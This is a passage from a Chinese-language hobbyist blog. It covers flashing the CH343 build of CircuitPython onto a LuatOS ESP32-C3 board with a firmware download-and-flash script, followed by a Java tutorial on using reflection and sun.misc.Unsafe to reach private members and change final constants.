還是使用 OPEN INSTALLER 的 Web Serial API 方式安裝同樣顯示錯誤</div>
<br/>
<div>最後在下到 Adafruit 官方封存網站尋找舊版本的 CircuitPython<br/>
發現 LuatOS ESP32-C3 有另一個版本,稱為 LuatOS ESP32-C3 CH343<br/>
由於在下的 LuatOS ESP32-C3 擁有 CD343晶片,即是屬於 LuatOS ESP32-C3 CH343 版本<br/>
然而,在 Thonny 及 CircuitPython 官方網站中只提供 LuatOS ESP32-C3 版本<br/>
因此無法在 LuatOS ESP32-C3 CH343 正確執行</div>
<br/>
<div>在下在 <a href="https://adafruit-circuit-python.s3.amazonaws.com/index.html?prefix=bin/luatos_core_esp32c3_ch343/en_US/">Adafruit 的 Amazon Web Services</a> 找到支援 LuatOS ESP32-C3 CH343 的版本<br/>
下載 bin檔案 後,使用 esptool 將 bin檔案 寫入到 LuatOS ESP32-C3 CH343<br/>
終於能夠在 LuatOS ESP32-C3 CH343 使用 CircuitPython</div>
<br/>-->
<div>為了方便更新,在下亦製作自動下載及寫入的腳本</div>
<pre class="brush:bash">#!/bin/bash
ESPTOOL="/path/of/esptool.py" # change to your esptool path
PORT="/dev/ttyACM0" # change to your ESP32-C3 board port
CHIP="esp32c3"
BUAD="115200" # default speed, your can change to 230400, 460800
BEFORE="default_reset"
AFTER="hard_reset"
MODE="dio"
SIZE="4MB" # change to your ESP32-C3 size
OFFSET="0x0"
FILE="/tmp/firmware"
# uncomment if the same
#ESPTOOL="${HOME}/.arduino*/packages/esp32/tools/esptool_py/*/esptool.py"
wget `curl -sL --request "GET" "https://adafruit-circuit-python.s3.amazonaws.com/?delimiter=/&prefix=bin/luatos_core_esp32c3_ch343/en_US/" | grep '\.bin<' | sed -r 's/<\/?Key>/\nhttps:\/\/adafruit-circuit-python\.s3\.amazonaws\.com\//g' | grep '\.bin' | sort | tail -1` -O "${FILE}"
python3 $ESPTOOL --port "${PORT}" --chip "${CHIP}" --baud "${BUAD}" --before "${BEFORE}" --after "${AFTER}" write_flash --flash_mode "${MODE}" --flash_size "${SIZE}" --erase-all "${OFFSET}" "${FILE}"
rm "${FILE}"</pre>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgx_5gcmr8VkFX5Tz6NrhdpttoEb2kZkeANpXw0acbuLrG5hygxXO0RLMRjG6R5BNc8kkCanNJrFTt36AcZ_FzRKRrJnOJXPfK3maxA3zhEvRM0VH8G6hkGgNw0DJDilFe28PyHAQre0ghS2BwaFAuC2wC-BQMYwPHcz0v5WwhyITJlYC-TOOa4uuzbz18/w0/luatos-esp32-c3-040.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgx_5gcmr8VkFX5Tz6NrhdpttoEb2kZkeANpXw0acbuLrG5hygxXO0RLMRjG6R5BNc8kkCanNJrFTt36AcZ_FzRKRrJnOJXPfK3maxA3zhEvRM0VH8G6hkGgNw0DJDilFe28PyHAQre0ghS2BwaFAuC2wC-BQMYwPHcz0v5WwhyITJlYC-TOOa4uuzbz18/w600/luatos-esp32-c3-040.png"/></a></div>
<div>安裝正確版本的 CircuitPython 到 LuatOS ESP32-C3 ,再使用 Thonny 選擇 CircuitPython (generic) 執行後<br/>
終於能夠終端顯示正確資訊</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjw5kP-hRkVZaG72wsXzbAk9moKlqo4s1-j0T4YvW6xf_1idORWw_5yriIEOa65sTeSqIuIpX2lbM_Lvm1rtuSxCQgU_zhhpl6V6IUKQ1g3BzshYUpHQ8-njXAzjxx_49V1cGaTUU5XZxYH3guSC5j_Vku0vzb0yVKqgJK90D4Bnpf2zdCQ43U_xyElMl4/w0/luatos-esp32-c3-041.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjw5kP-hRkVZaG72wsXzbAk9moKlqo4s1-j0T4YvW6xf_1idORWw_5yriIEOa65sTeSqIuIpX2lbM_Lvm1rtuSxCQgU_zhhpl6V6IUKQ1g3BzshYUpHQ8-njXAzjxx_49V1cGaTUU5XZxYH3guSC5j_Vku0vzb0yVKqgJK90D4Bnpf2zdCQ43U_xyElMl4/w600/luatos-esp32-c3-041.png"/></a></div>
<div>同樣地,使用方法與 Raspberry Pi Pico 運行 CircuitPython 完全相同<br/>
(只是引腳名稱稍有不同)</div>
<br/>
<div>但 LuatOS ESP32-C3 運作 CircuitPython 時,仍然需要使用與 Thonny 等於 整合開發環境 來編寫及執行程式<br/>
不能像 Raspberry Pi Pico 一般可以直接在 檔案管理員 直接編寫檔案及存取來變更效果</div>
<br/>
<a name="補充資料"></a><h4 class="mra-h4">補充資料</h4>
<div>在下使用 GP* 的引腳名稱時並出現</div>
<pre class="brush:python">AttributeError: 'module' object has no attribute 'GP2'</pre>
<div>的錯誤</div>
<br/>
<div>因此在 Thonny 的終端輸入</div>
<pre class="brush:python">import board
print(dir(board))</pre>
<div>來檢視 board 的屬性資料,結果傳回</div>
<pre class="brush:python">['__class__', '__name__', 'BOOT0', 'BUTTON', 'IO0', 'IO1', 'IO10', 'IO12', 'IO13', 'IO18', 'IO19', 'IO2', 'IO3', 'IO4', 'IO5', 'IO6', 'IO7', 'IO8', 'IO9', 'LED', 'LED2', 'UART', 'board_id']</pre>
<div>顯示有一堆 IO* 的引腳名稱卻沒有 GP* ,因此在下改用 IO* ,結果正確<br/>
另外還有提供:
<ul>
<li>BOOT按鈕 的 BOOT0 及 BUTTON</li>
<li>D4 LED 的 LED</li>
<li>D5 LED 的 LED2</li>
</ul>
令對應引腳的用途更清楚</div>
<br/>
<a name="總結"></a><h4 class="mra-h4">總結</h4>
<div>由於 ESP32C3 與之前的 <a href="https://hkgoldenmra.blogspot.com/2022/03/arduino-ide-esp8266-nodemcu.html">使用 Arduino IDE 編寫 ESP8266 NodeMCU 程式</a> 的WiFi功能<br/>
及 <a href="https://hkgoldenmra.blogspot.com/2022/05/mini-d1-esp32-hid.html">Mini D1 ESP32 製作 藍牙HID鍵盤</a> 的藍牙功能非常相似<br/>
只需要使用相同的方法,便可以做到效果<br/>
但在下尋找很多資料都無法以 MicroPython 及 CircuitPython 製作 藍牙HID ,因此唯有暫時放棄<br/>
稍後再嘗試</div>
<br/>
<div>單純比較價錢 LuatOS ESP32C3 是非常便宜,只需要2美金便具備WiFi及藍牙HID功能<br/>
而且屬於雙列直插的引腳排列,可以安裝到麵包板上測試<br/>
另外 LuatOS ESP32C3 還有一粒內置 GP9按鈕 及 重設按鈕 使用</div>
<br/>
<div>WS2812B通孔LED 亦是非常方便使用的 LED ,可以在麵包板上使用<br/>
由於在下經常忘記引腳的功能,與電源引腳及接地引腳接駁錯誤後<br/>
WS2812B 便立即燒毀,總共燒毀了3粒 WS2812B通孔LED</div>
<br/>
<a name="參考資料"></a><h4 class="mra-h4">參考資料</h4>
<div>
<ul>
<li><a href="https://luatos.com/en_us/page/home.html">LuatOS 官方網頁</a></li>
<li><a href="https://www.espressif.com/sites/default/files/documentation/esp32-c3_datasheet_en.pdf">ESP32-C3 資料表</a></li>
<li><a href="https://www.sparkfun.com/products/12999">WB2812B 通孔 LED @ SparkFun</a></li>
<li><a href="https://thonny.org/">Thonny 官方網頁</a></li>
<li><a href="https://micropython.org/download/ESP32_GENERIC_C3/">Espressif ESP32-C3 @ MicroPython</a>
<li><a href="https://circuitpython.org/board/luatos_core_esp32c3/">LuatOS ESP32-C3 @ CircuitPython</a>
</ul>
</div>HKGoldenMr.Ahttp://www.blogger.com/profile/03544013074844149004noreply@blogger.com0tag:blogger.com,1999:blog-4749999961332526255.post-32662897221137794122023-08-05T16:49:00.003+08:002023-08-06T15:44:37.606+08:00使用 映射 來存取私有資訊<div>最近由於學習編寫 Android應用程式 所以再次學習 Java<br/>
發現一些功能不能直接使用,而是需要使用 映射(Reflection) 來執行<br/>
在下因此尋找 映射 資料</div>
<a name='more'></a>
<a id="mra-previewFrame" target="_blank">預覽</a>
<script type="text/javascript">
//<!--
window.addEventListener("load", function(loadEvent) {
var previewFrame = document.getElementById("mra-previewFrame");
previewFrame.href = window.location.href;
});
//-->
</script>
<div class="mra-index">
<ul>
<li><a href="#獲取私有靜態屬性">獲取私有靜態屬性</a></li>
<li><a href="#更改私有靜態屬性">更改私有靜態屬性</a></li>
<li><a href="#獲取及更改物件私有屬性">獲取及更改物件私有屬性</a></li>
<li><a href="#使用私有靜態功能">使用私有靜態功能</a></li>
<li><a href="#使用私有物件功能">使用私有物件功能</a></li>
<li><a href="#使用附有參數的功能">使用附有參數的功能</a></li>
<li><a href="#使用私有建構子建立物件">使用私有建構子建立物件</a></li>
<li><a href="#使用私有靜態內部類別的方法">使用私有靜態內部類別的方法</a></li>
<li><a href="#使用私有內部類別物件的方法">使用私有內部類別物件的方法</a></li>
<li><a href="#更改物件常數屬性">更改物件常數屬性</a></li>
<li><a href="#更改靜態常數屬性">更改靜態常數屬性</a></li>
<li><a href="#總結">總結</a></li>
<li><a href="#參考資料">參考資料</a></li>
</ul>
</div>
<div>Java 的一般情況下,當 <span class="mra-highlighter">類別(Class)</span> 或 <span class="mra-highlighter">方法(Method)</span> 或 <span class="mra-highlighter">屬性(Field)</span> 以 <span class="mra-highlighter">私有(private)</span> 的情況下宣告<br/>
其他類別都不能存取該資料<br/>
但當使用 <span class="mra-highlighter">(映射)Reflection</span> 時,即使使用 私有 ,仍能被存取</div>
<a name="獲取私有靜態屬性"></a><h4 class="mra-h4">獲取私有靜態屬性</h4>
<pre class="brush:java">public class MyClass {
private static boolean MY_BOOLEAN = true;
}</pre>
<div><span class="mra-highlighter">靜態(static)</span> 屬性屬於 類別 ,能以 <span class="mra-highlighter">Class.Field</span> 的方式存取,但設定為 私有 時便無法讓其他 類別 存取</div>
<br/>
<pre class="brush:java">public class Test {
public static void main(String[] args) throws Exception {
System.out.println(MyClass.MY_BOOLEAN);
}
}</pre>
<div>測試靜態屬性</div>
<br/>
<div>編譯結果:</div>
<pre class="brush:bash">Test.java:3: error: MY_BOOLEAN has private access in MyClass
System.out.println(MyClass.MY_BOOLEAN);
^
1 error</pre>
<div>由於 <span class="mra-highlighter">MY_BOOLEAN</span> 為 私有,因此 MY_BOOLEAN 只能在 <span class="mra-highlighter">MyClass</span> 中使用,導致編譯出錯</div>
<br/>
<div>但如果使用 映射 時,便可以存取 私有屬性:</div>
<pre class="brush:java">import java.lang.reflect.Field;
public class Test {
public static void main(String[] args) throws Exception {
Class clazz = MyClass.class;
Field field = clazz.getDeclaredField("MY_BOOLEAN");
field.setAccessible(true);
System.out.println(field.get(null));
}
}</pre>
<div><span class="mra-highlighter">field.setAccessible(true)</span> 令 私有屬性 能被存取<br/>
再使用 <span class="mra-highlighter">field.get()</span> 便能獲取 私有屬性 的資料</div>
<pre class="brush:bash">true</pre>
<br/>
<div>不過 field.get() 只會傳回 <span class="mra-highlighter">Object類別</span>,而輸出內容只會將物件的 <span class="mra-highlighter">toString</span> 顯示,並不能確定型態<br/>
例如:</div>
<pre class="brush:java">public class MyClass {
private static boolean PRIMITIVE_BOOLEAN = true;
private static Boolean CLASS_BOOLEAN = true;
private static String CLASS_String = "true";
}</pre>
<pre class="brush:java">import java.lang.reflect.Field;
public class Test {
public static void main(String[] args) throws Exception {
Class clazz = MyClass.class;
Field[] fields = {
clazz.getDeclaredField("PRIMITIVE_BOOLEAN"),
clazz.getDeclaredField("CLASS_BOOLEAN"),
clazz.getDeclaredField("CLASS_String"),
};
for (Field field : fields) {
field.setAccessible(true);
System.out.println(field.get(null));
}
}
}</pre>
<div>執行結果:</div>
<pre class="brush:bash">true
true
true</pre>
<br/>
<div>所有資料輸出都只會顯示 true ,不能確認傳回是 原始boolean 或 Boolean類別 或 String類別<br/>
因此還需要使用 <span class="mra-highlighter">field.getType().getName()</span> 的確定型態</div>
<pre class="brush:java">import java.lang.reflect.Field;
public class Test {
public static void main(String[] args) throws Exception {
Class clazz = MyClass.class;
Field[] fields = {
clazz.getDeclaredField("PRIMITIVE_BOOLEAN"),
clazz.getDeclaredField("CLASS_BOOLEAN"),
clazz.getDeclaredField("CLASS_String"),
};
for (Field field : fields) {
field.setAccessible(true);
System.out.println(field.getType().getName());
}
}
}</pre>
<div>執行結果:</div>
<pre class="brush:bash">boolean
java.lang.Boolean
java.lang.String</pre>
<br/>
<div>確認類型後,便可以 <span class="mra-highlighter">強行變更型態</span> 來執行其他操作</div>
<br/>
<div>既然能夠獲取 私有屬性 ,因此 <span class="mra-highlighter">封裝(<default>)</span> 及 <span class="mra-highlighter">保護(protected)</span> 的資料亦能夠相同方法獲取<br/>
因此不重覆測試</div>
<a name="更改私有靜態屬性"></a><h4 class="mra-h4">更改私有靜態屬性</h4>
<div>使用 映射 除了能夠獲取 屬性,還可以使用 <span class="mra-highlighter">field.set()</span> 來修改 屬性</div>
<pre class="brush:bash">import java.lang.reflect.Field;
public class Test {
public static void main(String[] args) throws Exception {
Class clazz = MyClass.class;
Field field = clazz.getDeclaredField("PRIMITIVE_BOOLEAN");
field.setAccessible(true);
System.out.println(field.get(null));
field.set(null, false);
System.out.println(field.get(null));
}
}</pre>
<div>執行結果:</div>
<pre class="brush:bash">true
false</pre>
<br/>
<a name="獲取及更改物件私有屬性"></a><h4 class="mra-h4">獲取及更改物件私有屬性</h4>
<pre class="brush:java">public class MyClass {
private boolean myBoolean = true;
}</pre>
<div>沒有 static 的屬性不再是靜態屬性,不能直接以類別方式存取<br/>
而是需要先建立該類別的物件,再在物件中存取</div>
<pre class="brush:java">import java.lang.reflect.Field;
public class Test {
public static void main(String[] args) throws Exception {
MyClass myClass = new MyClass();
Class clazz = myClass.getClass();
Field field = clazz.getDeclaredField("myBoolean");
field.setAccessible(true);
System.out.println(field.get(myClass));
field.set(myClass, false);
System.out.println(field.get(myClass));
}
}</pre>
<div>使用 field.get() 時,需要指定物件參數,才能存取該物件對應的屬性</div>
<br/>
<a name="使用私有靜態功能"></a><h4 class="mra-h4">使用私有靜態功能</h4>
<pre class="brush:java">public class MyClass {
private static void myMethod() {
System.out.println("I am private static method.");
}
}</pre>
<div>與先前的例子相同,私有方法 不能被其他類別存取</div>
<br/>
<pre class="brush:java">import java.lang.reflect.Method;
public class Test {
public static void main(String[] args) throws Exception {
Class clazz = MyClass.class;
Method method = clazz.getDeclaredMethod("myMethod");
method.setAccessible(true);
method.invoke(null);
}
}</pre>
<div>與 field.get() 相似,不過改為使用 <span class="mra-highlighter">method.invoke()</span></div>
<pre class="brush:bash">Note: Test.java uses unchecked or unsafe operations.
Note: Recompile with -Xlint:unchecked for details.</pre>
<div>編譯時,由於 <span class="mra-highlighter">clazz.getDeclaredMethod()</span> 有機會出現不安全的操作,因此會出現提示,但仍然能夠編譯<br/>
如果想避免編譯時出現提示,可以將 Test類別 修改成:</div>
<pre class="brush:java">import java.lang.reflect.Method;
public class Test {
public static void main(String[] args) throws Exception {
Class clazz = MyClass.class;
@SuppressWarnings("unchecked")
Method method = clazz.getDeclaredMethod("myMethod");
method.setAccessible(true);
method.invoke(null);
}
}</pre>
<div>執行結果:</div>
<pre class="brush:bash">I am private static method.</pre>
<div>由於 method.invoke() 不會區分 <span class="mra-highlighter">void</span> 或 <span class="mra-highlighter">傳回資料</span></div>
<pre class="brush:java">public class MyClass {
private static void voidMethod() {
return;
}
private static String nullMethod() {
return null;
}
private static String stringMethod() {
return "null";
}
}</pre>
<pre class="brush:java">import java.lang.reflect.Method;
public class Test {
public static void main(String[] args) throws Exception {
Class clazz = MyClass.class;
@SuppressWarnings("unchecked")
Method[] methods = {
clazz.getDeclaredMethod("voidMethod"),
clazz.getDeclaredMethod("nullMethod"),
clazz.getDeclaredMethod("stringMethod"),
};
for (Method method : methods) {
method.setAccessible(true);
System.out.println(method.getReturnType().getName());
System.out.println(method.invoke(null));
}
}
}</pre>
<div>執行結果:</div>
<pre class="brush:bash">void
null
java.lang.String
null
java.lang.String
null</pre>
<div>使用 method.invoke() 時,即使功能是 void 仍會傳回 <span class="mra-highlighter">null</span> 資料<br/>
與屬性相似,使用 <span class="mra-highlighter">method.getReturnType().getName()</span> 來確認傳回類型</div>
<br/>
<a name="使用私有物件功能"></a><h4 class="mra-h4">使用私有物件功能</h4>
<pre class="brush:java">public class MyClass {
private void objectMethod() {
System.out.println("I am private object method.");
}
}</pre>
<pre class="brush:java">import java.lang.reflect.Method;
public class Test {
public static void main(String[] args) throws Exception {
MyClass myClass = new MyClass();
Class<MyClass> clazz = myClass.getClass();
@SuppressWarnings("unchecked")
Method method = clazz.getDeclaredMethod("objectMethod");
method.setAccessible(true);
method.invoke(myClass);
}
}</pre>
<div>以 映射 使用物件的功能 與獲取物件的資料相似<br/>
使用 method.invoke() 時,同樣需要指定物件參數,才能使用該物件對應的方法</div>
<a name="使用附有參數的功能"></a><h4 class="mra-h4">使用附有參數的功能</h4>
<pre class="brush:java">public class MyClass {
private static int square(int value) {
return value * value;
}
}</pre>
<pre class="brush:java">import java.lang.reflect.Method;
public class Test {
public static void main(String[] args) throws Exception {
Class clazz = MyClass.class;
@SuppressWarnings("unchecked")
Method method = clazz.getDeclaredMethod("square", int.class);
method.setAccessible(true);
System.out.println(method.invoke(null, 16));
}
}</pre>
<div>使用 映射 時,由於 方法 允許 重載(Overload)<br/>
因此在 <span class="mra-highlighter">clazz.getDeclaredMethod()</span> 除了傳入功能名稱的參數外,可以因應參數的類型(或以陣列)順序傳入以使用對應重載的 方法<br/>
最後在 method.invoke() 除了第一個參數傳入 null 或物件外,亦需要將對應的參數類型的資料(或以陣列)順序傳入</div>
<a name="使用私有建構子建立物件"></a><h4 class="mra-h4">使用私有建構子建立物件</h4>
<div>如果類別只有私有 <span class="mra-highlighter">建構子(Constructor)</span>,又沒有靜態方法或靜態屬性獲取該類別的物件,即是該類別是無法以正規方法建立物件<br/>
但透過 映射 就能夠將建立該類別的物件</div>
<pre class="brush:java">public class MyClass {
private MyClass(int edge) {
System.out.println(edge * 4);
}
}</pre>
<pre class="brush:java">import java.lang.reflect.Constructor;
public class Test {
public static void main(String[] args) throws Exception {
Class clazz = MyClass.class;
Constructor<MyClass> constructor = clazz.getDeclaredConstructor(int.class);
constructor.setAccessible(true);
MyClass myClass = constructor.newInstance(8);
}
}</pre>
<div><span class="mra-highlighter">clazz.getDeclaredConstructor()</span> 的使用方法與 clazz.getDeclaredMethod() 相似,只是不需要傳入名稱<br/>
如果需要附加參數,同樣將參數的類型順序傳入,再在 <span class="mra-highlighter">constructor.newInstance()</span> 順序傳入對應資料即可</div>
<br/>
<a name="使用私有靜態內部類別的方法"></a><h4 class="mra-h4">使用私有靜態內部類別的方法</h4>
<div><span class="mra-highlighter">內部類別(Inner Class)</span> 與一般類別相同,只是內部類別存在於一個類別中<br/>
而且內部類別允許以私有方式製作</div>
<pre class="brush:java">public class MyClass {
private static class MySubClass {
private MySubClass() {
}
private void mySubMethod() {
System.out.println(this.getClass().getName());
}
}
}</pre>
<pre class="brush:java">import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
public class Test {
public static void main(String[] args) throws Exception {
Class clazz = Class.forName("MyClass$MySubClass");
Constructor constructor = clazz.getDeclaredConstructor();
constructor.setAccessible(true);
Object innerObject = constructor.newInstance();
Class innerClass = innerObject.getClass();
Method innerMethod = innerClass.getDeclaredMethod("mySubMethod");
innerMethod.setAccessible(true);
innerMethod.invoke(innerObject);
}
}</pre>
<div>執行結果:</div>
<pre class="brush:bash">MyClass$MySubClass</pre>
<div>由於 私有內部類別 無法被匯入,因此物件只能以 Object類別 建立<br/>
但 Object類別 不會擁有 內部類別的 屬性 或 方法<br/>
而且由於無法強制轉變類型,即使是 <span class="mra-highlighter">公有(public)</span> 的 屬性 或 方法 都不能直接使用<br/>
整過操作程式,都需要使用 映射 來使用方法或獲取屬性</div>
<br/>
<div>另外,內部類別 的名稱使用 <span class="mra-highlighter">$(錢符號(dollar))</span> 連接,而非 <span class="mra-highlighter">.(點(Period))</span> 來連接</div>
<a name="使用私有內部類別物件的方法"></a><h4 class="mra-h4">使用私有內部類別物件的方法</h4>
<div>一般情況很少會設計私有內部類別物件,但技術上是允許這種設計</div>
<br/>
<pre class="brush:java">public class MyClass {
private MyClass() {
}
private class MySubClass {
private MySubClass() {
}
private void mySubMethod() {
System.out.println(this.getClass().getName());
}
}
}</pre>
<pre class="brush:java">import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
public class Test {
public static void main(String[] args) throws Exception {
Class<MyClass> outerClass = MyClass.class;
Constructor<MyClass> outerConstructor = outerClass.getDeclaredConstructor();
outerConstructor.setAccessible(true);
MyClass myClass = outerConstructor.newInstance();
Class innerClass = Class.forName("MyClass$MySubClass");
Constructor innerConstructor = innerClass.getDeclaredConstructor(MyClass.class);
innerConstructor.setAccessible(true);
Object innerObject = innerConstructor.newInstance(myClass);
Method innerMethod = innerClass.getDeclaredMethod("mySubMethod");
innerMethod.setAccessible(true);
innerMethod.invoke(innerObject);
}
}</pre>
<div>執行結果:</div>
<pre class="brush:bash">MyClass$MySubClass</pre>
<div>如果將例子中所有 private 改成 public</div>
<pre class="brush:java">MyClass myClass = new MyClass();
MyClass.MySubClass mySubClass = myClass.new MySubClass();
mySubClass.mySubMethod();</pre>
<div>語法上已經有點麻煩,如果必須以 映寫 方法建立物入更加繁複的步驟</div>
<br/>
<a name="更改物件常數屬性"></a><h4 class="mra-h4">更改物件常數屬性</h4>
<div>宣告以 <span class="mra-highlighter">常數(final)</span> 的變數,其地址只能被指派資料一次</div>
<pre class="brush:java">class MyClass {
public final int VALUE = 0;
}</pre>
<pre class="brush:java">public class Test {
public static void main(String[] args) throws Exception {
MyClass myClass = new MyClass();
myClass.VALUE = 1;
}
}</pre>
<div>執行結果:</div>
<pre class="brush:bash">Test.java:4: error: cannot assign a value to final variable VALUE
myClass.VALUE = 1;
^
1 error</pre>
<div>當地址被重覆指派時,編譯時會出現錯誤</div>
<br/>
<div>但使用 映射 仍能透過 映射 更改</div>
<pre class="brush:java">import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
public class Test {
public static void main(String[] args) throws Exception {
MyClass myClass = new MyClass();
Field field = clazz.getDeclaredField("VALUE");
field.setAccessible(true);
System.out.println(field.get(myClass));
field.set(myClass, 1);
System.out.println(field.get(myClass));
}
}</pre>
<div>執行結果:</div>
<pre class="brush:bash">0
1</pre>
<a name="更改靜態常數屬性"></a><h4 class="mra-h4">更改靜態常數屬性</h4>
<div>使用 映射 更改靜態常數屬性則比較麻煩</div>
<pre class="brush:java">public class MyClass {
public static final int VALUE = 0;
}</pre>
<pre class="brush:java">import java.lang.reflect.Field;
public class Test {
public static void main(String[] args) throws Exception {
Class clazz = MyClass.class;
Field field = clazz.getDeclaredField("VALUE");
field.setAccessible(true);
System.out.println(field.get(null));
field.set(null, 1);
System.out.println(field.get(null));
}
}</pre>
<div>執行結果:</div>
<pre class="brush:bash">0
Exception in thread "main" java.lang.IllegalAccessException: Can not set static final int field MyClass.VALUE to java.lang.Integer
at java.base/jdk.internal.reflect.UnsafeFieldAccessorImpl.throwFinalFieldIllegalAccessException(UnsafeFieldAccessorImpl.java:76)
at java.base/jdk.internal.reflect.UnsafeFieldAccessorImpl.throwFinalFieldIllegalAccessException(UnsafeFieldAccessorImpl.java:80)
at java.base/jdk.internal.reflect.UnsafeQualifiedStaticIntegerFieldAccessorImpl.set(UnsafeQualifiedStaticIntegerFieldAccessorImpl.java:77)
at java.base/java.lang.reflect.Field.set(Field.java:780)
at Test.main(Test.java:8)</pre>
<div>使用類似更改物件常數屬性的方法更改靜態常數屬性會出現錯誤<br/>
編譯時顯示 <span class="mra-highlighter">不能更改靜態常數屬性</span></div>
<br/>
<div>要更改類別靜態屬性需要先將更改 屬性 的 <span class="mra-highlighter">修飾(Modifier)</span> ,將 <span class="mra-highlighter">常數位元取消</span> 才能更改</div>
<pre class="brush:java">import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
public class Test {
public static void main(String[] args) throws Exception {
Class clazz = MyClass.class;
Field field = clazz.getDeclaredField("VALUE");
field.setAccessible(true);
Class modifiersClass = field.getClass();
Field modifiersField = modifiersClass.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
// remove final modifier
modifiersField.set(field, field.getModifiers() & ~Modifier.FINAL);
System.out.println(field.get(null));
field.set(null, 1);
// gain final modifier
modifiersField.set(field, field.getModifiers() & ~Modifier.FINAL);
System.out.println(field.get(null));
}
}</pre>
<div>執行結果:</div>
<pre class="brush:bash">WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by Test (file:/path/of/file/) to field java.lang.reflect.Field.modifiers
WARNING: Please consider reporting this to the maintainers of Test
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release
0
1</pre>
<div>但即是能夠修改,執行程式時,會出現警告資訊</div>
<a name="補充資料"></a><h4 class="mra-h4">補充資料</h4>
<div>在測試各種以 映射 更改存取資料的操作中,會發現當使用 私有方法 會出現 不安全提示 及 更改 靜態常數屬性 會出現 警告</div>
<br/>
<div>由於 私有方法 有機會是 讓內部其他 方法 使用,當中如果沒有檢查資料,便會出現非預期結果</div>
<br/>
<pre class="brush:java">public class MyClass {
private static int privateDivision(int dividend, int divider) {
return dividend / divider;
}
public static void publicDivision(int dividend, int divider) {
if (divider == 0) {
System.out.println("Cannot divided by 0");
} else {
System.out.println(MyClass.privateDivision(dividend, divider));
}
}
}</pre>
<pre class="brush:java">public class Test {
public static void main(String[] args) throws Exception {
MyClass.publicDivision(1, 0);
MyClass.publicDivision(1, 1);
}
}</pre>
<div>執行結果:</div>
<pre class="brush:bash">Cannot divided by 0
1</pre>
<div>由於 publicDivision() 在運算有檢查傳入的參數的況狀來避免執行時出現錯誤</div>
<pre class="brush:java">import java.lang.reflect.Method;
public class Test {
public static void main(String[] args) throws Exception {
Class clazz = MyClass.class;
Method method = clazz.getDeclaredMethod("privateDivision", int.class, int.class);
method.setAccessible(true);
System.out.println(method.invoke(null, 1, 0));
System.out.println(method.invoke(null, 1, 1));
}
}</pre>
<div>執行結果:</div>
<pre class="brush:bash">Exception in thread "main" java.lang.reflect.InvocationTargetException
at java.base/jdk.internal.reflect.DirectMethodHandleAccessor.invoke(DirectMethodHandleAccessor.java:119)
at java.base/java.lang.reflect.Method.invoke(Method.java:578)
at Test.main(Test.java:7)
Caused by: java.lang.ArithmeticException: / by zero
at MyClass.privateDivision(Test.java:7)
at java.base/jdk.internal.reflect.DirectMethodHandleAccessor.invoke(DirectMethodHandleAccessor.java:104)
... 2 more</pre>
<div>由於 privateDivision() 在運算沒有檢查傳入的參數的況狀,執行時會出現異常情況</div>
<br/>
<div>更改其他類別常數屬性,是非常危險</div>
<pre class="brush:java">import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
public class Test {
public static void main(String[] args) throws Exception {
Class clazz = Boolean.class;
Field field = clazz.getDeclaredField("TRUE");
field.setAccessible(true);
Class modifiersClass = field.getClass();
Field modifiersField = modifiersClass.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.set(field, field.getModifiers() & ~Modifier.FINAL);
System.out.println(Boolean.TRUE);
field.set(null, false);
System.out.println(Boolean.TRUE);
modifiersField.set(field, field.getModifiers() & ~Modifier.FINAL);
}
}</pre>
<div>執行結果:</div>
<pre class="brush:bash">WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by Test (file:/path/of/file/) to field java.lang.reflect.Field.modifiers
WARNING: Please consider reporting this to the maintainers of Test
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release
true
false</pre>
<div>如同上述例子,將 Boolean類別 的 TRUE靜態常數屬性 更改為 false<br/>
當其他類別需要使用 Boolean.TRUE 時,便會出現嚴重問題</div>
<br/>
<div>不過在 <span class="mra-highlighter">JDK 12+</span> 基於安全考慮,已經禁止存取 Field類別 的 modifiers屬性<br/>
但仍然能夠使用 <span class="mra-highlighter">sun.misc.Unsafe</span> 類別 來更改 靜態屬性 ,不過比之前的方法更加複雜</div>
<pre class="brush:java">import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class Test {
public static void main(String[] args) throws Exception {
Class booleanClass = Boolean.class;
Field fieldClass = booleanClass.getDeclaredField("TRUE");
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Object unsafeObject = unsafeField.get(null);
Method unsafeMethodBase = unsafeClass.getDeclaredMethod("staticFieldBase", fieldClass.getClass());
Object unsafeMethodBaseObject = unsafeMethodBase.invoke(unsafeObject, fieldClass);
Method unsafeMethodOffset = unsafeClass.getDeclaredMethod("staticFieldOffset", fieldClass.getClass());
Object unsafeMethodOffsetObject = unsafeMethodOffset.invoke(unsafeObject, fieldClass);
Method unsafeMethodPutObject = unsafeClass.getDeclaredMethod("putObject", Object.class, long.class, Object.class);
System.out.println(Boolean.TRUE);
unsafeMethodPutObject.invoke(unsafeObject, unsafeMethodBaseObject, unsafeMethodOffsetObject, false);
System.out.println(Boolean.TRUE);
}
}</pre>
<div>sun.misc.Unsafe 在 <span class="mra-highlighter">JDK 7</span> 開始出現,但 <span class="mra-highlighter">不屬於標準 JDK</span> ,因此無法找到 sun.misc.Unsafe 的 API</div>
<br/>
<div>sun.misc.Unsafe 能存取記憶體及其他低階操作<br/>
由於 sun.misc.Unsafe 能夠繞過 <span class="mra-highlighter">JVM 的安全設定</span>,如果使用不當,會影響 JVM 的穩定性或產生不安全操作<br/>
不建議在一般開發中胡亂使用</div>
<br/>
<div>在下為了將來可以方便使用這些操作,而編寫一些簡化操作的方法</div>
